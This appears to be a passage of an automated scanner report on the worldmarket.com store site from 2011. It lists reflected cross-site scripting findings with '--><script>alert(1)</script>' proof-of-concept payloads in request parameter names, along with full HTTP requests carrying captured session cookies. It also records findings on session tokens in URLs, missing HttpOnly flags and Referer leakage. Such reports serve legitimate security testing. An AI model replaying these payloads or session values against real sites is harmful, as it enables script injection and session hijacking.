<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.11. http://www.worldmarket.com/storeLocator/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/storeLocator/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f6efa--><script>alert(1)</script>5301e43f597 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /storeLocator/index.jsp?f6efa--><script>alert(1)</script>5301e43f597=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:28:59 GMT Server: Apache/2.0.63 (Unix) X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 78998
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.12. http://www.worldmarket.com/storeLocator/index.jsp.* [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/storeLocator/index.jsp.*
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3dfe9--><script>alert(1)</script>bc6b8e40ea5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /storeLocator/index.jsp.*?3dfe9--><script>alert(1)</script>bc6b8e40ea5=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:29:05 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74469 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.13. http://www.worldmarket.com/storeLocator/index.jsp/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/storeLocator/index.jsp/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 27d57--><script>alert(1)</script>cecdd6ef1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /storeLocator/index.jsp/x22?27d57--><script>alert(1)</script>cecdd6ef1=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:29:06 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74463 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.14. http://www.worldmarket.com/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 2b236--><script>alert(1)</script>4fcc0c7f869 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /x22?2b236--><script>alert(1)</script>4fcc0c7f869=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:28:57 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74463 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.15. https://www.worldmarket.com/checkout/index.jsp/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.worldmarket.com
Path:
/checkout/index.jsp/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 6d64e--><script>alert(1)</script>fe8055e91a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /checkout/index.jsp/?6d64e--><script>alert(1)</script>fe8055e91a4=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:29:06 GMT Server: Apache/2.0.63 (Unix) Content-Length: 81129 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /home/index.jsp HTTP/1.1 Host: www.worldmarket.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:33 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 89536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home/index.jsp HTTP/1.1 Host: www.worldmarket.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:33 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ Set-Cookie: browser_id=121247510543; expires=Thursday, 31-Dec-2020 16:18:33 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 89536
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:47 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b0a0a0304; expires=Saturday, 21-Jan-2079 19:32:55 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 87066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /family/index.jsp HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 302 Moved Temporarily Date: Mon, 03 Jan 2011 16:28:08 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.worldmarket.com/error/404.jsp P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:42:15 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 275
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.worldmarket.com/error/4 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /product/index.jsp HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.worldmarket.com/home/in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 302 Moved Temporarily Date: Mon, 03 Jan 2011 16:18:55 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Location: http://www.worldmarket.com/search/index.jsp?kwCatId=&kw=&origkw='&sr=1&kw= P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:33:01 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 383
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://www.worldmarket.com/search/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:55 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:33:02 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 75966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:18:47 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b0a0a0304; expires=Saturday, 21-Jan-2079 19:32:55 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 87066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<a class="facebook" href="http://www.facebook.com/costplusworldmarket" title="Facebook" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_facebook.gif" alt="World Market on Facebook"/><p>Facebook</p></a> <a href="http://www.twitter.com/worldmarket" title="Twitter" target="_blank"><img src="http://cpwm.imageg.net/images/ftr_ico_tweet.gif" alt="World Market on Twitter"/><p> ...[SNIP]... <li class="explorerrewardsprogram"> <a href="http://worldmarketexplorer.com/?ab=footer:WME" target="_blank" title="Join the World Market Rewards Program - It's Free!"><img src="http://cpwm.imageg.net/images/WM_SQLogo-145x83.gif" width="145" height="83" alt="Join the World Market Rewards Program - It's Free!"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME" title="Learn More about World Market Credit Card"><img border="0" height="36" src="http://cpwm.imageg.net/images/wmcc_top.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <a href="http://www.worldmarket.com/category/index.jsp? categoryId=3672880&ab=footer:WME"><img src="http://cpwm.imageg.net/images/wmcc_cta.gif" alt="Learn More about World Market Credit Card"/></a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/about-us/" title="About Us">About Us</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/careers/" title="Careers">Careers</a> ...[SNIP]... <li><a href="http://worldmarketcorp.com/product-recalls/" title="Product Recalls">Product Recalls</a> ...[SNIP]... <li><a href="http://www.worldmarketcorp.com/media-relations/as-seen-in/" title="As Seen In">As Seen In</a> ...[SNIP]... <div id="secure">
